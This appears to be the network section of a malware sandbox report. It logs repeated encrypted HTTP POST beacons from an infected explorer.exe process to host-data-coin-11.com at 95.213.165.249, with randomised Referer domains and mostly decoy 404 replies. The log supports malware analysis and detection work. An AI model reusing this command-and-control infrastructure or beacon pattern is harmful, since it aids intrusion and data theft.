Dec 1, 2021 10:04:35.989181995 CET	2442	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dgpnslqhh.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 343 Host: host-data-coin-11.com
Dec 1, 2021 10:04:35.989204884 CET	2442	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 1f a9 de 2b Data Ascii: o:@ACFkUwmDu$f]d+YwG{XE=X\|TO05/5QC864ST2hN1#q,UU,0:8\d?Vg&9_Ctpt?K072>J
Dec 1, 2021 10:04:36.089900970 CET	2443	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 50 dd 4b d0 fe 26 85 21 ea a5 90 50 2e e2 be 4d 23 e3 b3 b4 6c fb 9f bc 50 ab 73 93 cb 32 40 5c 3c 0d 4b dd bb 4a be ff 57 99 bd d4 0b 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XPK&!P.M#lPs2@\<KJW+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49766	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:38.590396881 CET	3031	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gbbxygekjk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 231 Host: host-data-coin-11.com
Dec 1, 2021 10:04:38.590408087 CET	3031	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 2e 86 be 1f Data Ascii: o:@ACFkUwmDu$f]d.ufS_95g;8\|RO)=MX%R2=g<VXZ3,MNK!>\lPyG>(/`c2(?^f\|ih[WbbA?
Dec 1, 2021 10:04:38.693572044 CET	3074	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49768	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:38.789549112 CET	3109	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://namawqf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 308 Host: host-data-coin-11.com
Dec 1, 2021 10:04:38.790735006 CET	3110	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 50 de c7 74 Data Ascii: o:@ACFkUwmDu$f]dPt\~6U%x6G~[Jy!n651gWN_3{veS1>e_J-@#>1zb+24mK48~L6(cuwPg_0Y$\QpGT!
Dec 1, 2021 10:04:38.896084070 CET	3116	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49770	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:39.015736103 CET	3117	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://smpro.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: host-data-coin-11.com
Dec 1, 2021 10:04:39.017734051 CET	3117	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 2b b2 9c 34 Data Ascii: o:@ACFkUwmDu$f]d+41]=kN.=F}~38wzh/amc[6G@gp'8CJ4e39GE(d6fRochsdEm}w
Dec 1, 2021 10:04:39.116993904 CET	3119	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49771	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:39.205468893 CET	3121	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ieqswdu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: host-data-coin-11.com
Dec 1, 2021 10:04:39.205477953 CET	3121	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 1a 9b 8f 65 Data Ascii: o:@ACFkUwmDu$f]deq4g@L%`VD>=q})b>a@O'vW&FYiuBERXv&-<x>f`G(v/ZOd^K2/1k:JSD!1
Dec 1, 2021 10:04:39.306132078 CET	3122	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49774	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:39.407718897 CET	3125	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vneyujlfl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: host-data-coin-11.com
Dec 1, 2021 10:04:39.407727003 CET	3125	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 0e 81 b6 1f Data Ascii: o:@ACFkUwmDu$f]dGzkgm1-gIaeJz1v]DZg=CkibF&umS".HJ;C0R:RgKUKY=o6Oe >`.<U^0$f>K;_,
Dec 1, 2021 10:04:39.507246017 CET	3127	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49776	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:39.595597982 CET	3128	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://viqgctnic.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: host-data-coin-11.com
Dec 1, 2021 10:04:39.595608950 CET	3128	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 43 81 82 36 Data Ascii: o:@ACFkUwmDu$f]dC6Uwl?m^>:~pyo.OtBhG n'ypds/h\+99)9A>p9z{2)EquN/fcNieh"Yqe_v7Rq1
Dec 1, 2021 10:04:39.694449902 CET	3134	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49778	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:39.815232038 CET	3137	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xpkskgrr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: host-data-coin-11.com
Dec 1, 2021 10:04:39.817589045 CET	3138	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 21 b5 dc 06 Data Ascii: o:@ACFkUwmDu$f]d!4j#bpZXOM*co$ w \|Um_2D>.^:z?Y#:@oTJ>=pLzZyl#+[`JuvQO
Dec 1, 2021 10:04:39.920986891 CET	3139	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49779	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 1, 2021 10:04:40.013690948 CET	3141	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kdyponywr.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: host-data-coin-11.com
Dec 1, 2021 10:04:40.013711929 CET	3141	OUT	Data Raw: 10 87 f6 94 6f f8 dc b7 bf 3a 0c 40 0b c3 ec 88 41 11 ab 43 a0 46 6b 9f cf e9 ae f2 fa a6 97 f1 1a b1 55 a6 10 1c c5 e4 e8 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 4e 9a b8 6e Data Ascii: o:@ACFkUwmDu$f]dNnWet8ugVWEM$x<,},{TZ-M6&yM7d!NW=f7F.eOw(ms$f$c"af@!VyRKTWx)rcmkD^
Dec 1, 2021 10:04:40.118258953 CET	3154	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 01 Dec 2021 09:04:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49780	95.213.165.249	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
